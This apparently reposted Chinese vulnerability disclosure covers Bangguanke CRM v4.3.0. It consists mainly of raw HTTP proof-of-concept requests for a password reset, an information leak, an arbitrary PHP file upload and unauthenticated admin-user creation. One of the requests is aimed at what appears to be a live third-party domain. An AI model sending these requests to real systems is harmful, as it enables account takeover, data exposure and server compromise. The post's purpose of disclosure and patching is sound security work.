文章前言
漏洞大约是4月份左右交的，目前官方应该也已经修复了，总体下来感觉目前的CNVD已经不是曾经那个CNVD了，总体而言这个CRM没怎么考虑到安全问题，挖到后面漏洞交的已经不太想交了，有兴趣的可以试试挖一下其他的，这里仅给出几个点，注入之类的就暂时先不给了
影响范围
帮管客CRM客户管理系统免费版v4.3.0
密码重置
帮管客CRM客户管理系统最新版是一款专业的客户管理系统，帮管客CRM客户管理系统最新版基于先进的CRM营销理念设计，集客户档案、销售记录、业务往来于一身，以凝聚客户关系、提升资源价值为核心，帮管客CRM客户管理系统最新版将潜在客户变为现实客户，从而提升销售量、提高用户的满意度，并增加企业竞争力
漏洞复现
漏洞POC
POST /index.php/user/info HTTP/1.1Host: 192.168.17.1:81Content-Length: 708Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.17.1:81Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDlcSEAuAgwiVgM1eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.17.1:81/index.php/user/infoAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryDlcSEAuAgwiVgM1eContent-Disposition: form-data; name="userpwd"admin@123------WebKitFormBoundaryDlcSEAuAgwiVgM1eContent-Disposition: form-data; name="confirmpwd"admin@123------WebKitFormBoundaryDlcSEAuAgwiVgM1eContent-Disposition: form-data; name="mobile"------WebKitFormBoundaryDlcSEAuAgwiVgM1eContent-Disposition: form-data; name="email"------WebKitFormBoundaryDlcSEAuAgwiVgM1eContent-Disposition: form-data; name="avatar"/themes/default/images/avatar.png------WebKitFormBoundaryDlcSEAuAgwiVgM1eContent-Disposition: form-data; name="file"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryDlcSEAuAgwiVgM1e--
信息泄露
POC：
GET /index.php/kehu/ajax_kh_xx?id=2 HTTP/1.1Host: crm.yhtcm.comConnection: closeCache-Control: max-age=0sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: bgk_session=
任意文件上传
POST /index.php/upload/ajax_upload HTTP/1.1Host: IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4495.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=---------------------------134652345533227065863990863046Content-Length: 253Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin-----------------------------134652345533227065863990863046Content-Disposition: form-data; name="file"; filename="test.php"Content-Type: image/pngphpinfo();unlink(__FILE__);-----------------------------134652345533227065863990863046--
任意用户添加
POST /index.php/user/add HTTP/1.1Host: 192.168.17.1:81Content-Length: 154Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.17.1:81Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.17.1:81/index.php/user/addAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: bgk_session=Connection: closeusername=liuwei&realname=liuwei&userpwd=123456&confirmpwd=123456&groupid=1&iszhuguan=%E6%98%AF&roleid=0&maxnum=0&maxnum_paichu_cj=%E5%90%A6&mobile=&email=
修复建议
使用官方最新版本
原文始发于微信公众号（七芒星实验室）：帮管客CRM客户管理系统Nday
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论